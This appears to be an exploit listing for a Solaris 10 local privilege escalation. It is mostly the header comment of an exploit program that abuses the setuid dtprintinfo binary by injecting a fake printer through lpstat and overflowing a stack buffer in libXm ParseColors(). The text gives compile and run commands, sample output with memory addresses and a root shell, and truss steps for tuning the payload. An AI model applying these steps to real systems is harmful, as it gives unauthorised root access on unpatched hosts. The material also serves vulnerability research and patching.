Solaris 10 dtprintinfo Local Privilege Escalation

[Kev]

Solaris 10 CDE local privilege escalation exploit that achieves root by injecting a fake printer via lpstat and uses a buffer overflow in libXM ParseColors().

 *
 * This exploit illustrates yet another way to abuse the infamous dtprintinfo
 * binary distributed with the Common Desktop Environment (CDE), a veritable
 * treasure trove for bug hunters since the 1990s. It's not the most reliable
 * exploit I've ever written, but I'm quite proud of the new vulnerabilities
 * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
 * 2021) applied. The exploit chain is structured as follows:
 * 1. Inject a fake printer via the printer injection bug I found in lpstat.
 * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
 * 3. Enjoy root privileges!
 *
 * For additional details on my bug hunting journey and on the vulnerabilities
 * themselves, you can refer to the official advisory:
 * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
 *
 * Usage:
 * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
 * $ ./raptor_dtprintlibXmas 10.0.0.109:0

 * 
 * Using SI_PLATFORM       : i86pc (5.10)
 * Using stack base        : 0x8047fff
 * Using safe address      : 0x8045790
 * Using rwx_mem address   : 0xfeffa004
 * Using sc address        : 0x8047fb4
 * Using sprintf() address : 0xfefd1250
 * Path of target binary   : /usr/dt/bin/dtprintinfo
 * 
 * On your X11 server:
 * 1. Select the "fnord" printer, then click on "Selected" > "Properties".
 * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
 *
 * Back to your original shell:
 * # id
 * uid=0(root) gid=1(other)
 *
 * IMPORTANT NOTE.
 * The buffer overflow corrupts some critical variables in memory, which we
 * need to fix. In order to do so, we must patch the hostile buffer at some
 * fixed locations with the first argument of the last call to ParseColors().
 * The easiest way to get such a safe address is via the special 0x41414141
 * command-line argument and truss, as follows:
 * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
 * $ grep ParseColors OUT | tail -1
 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
 *                                 ^^^^^^^^^ << this is the safe address we need
 *
 * Tested on:
 * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
 * [previous Solaris versions are also likely vulnerable]

I have identified multiple security vulnerabilities that are exploitable via the the setuid-root dtprintinfo binary from the Common Desktop Environment (CDE) distributed with Oracle Solaris 10.
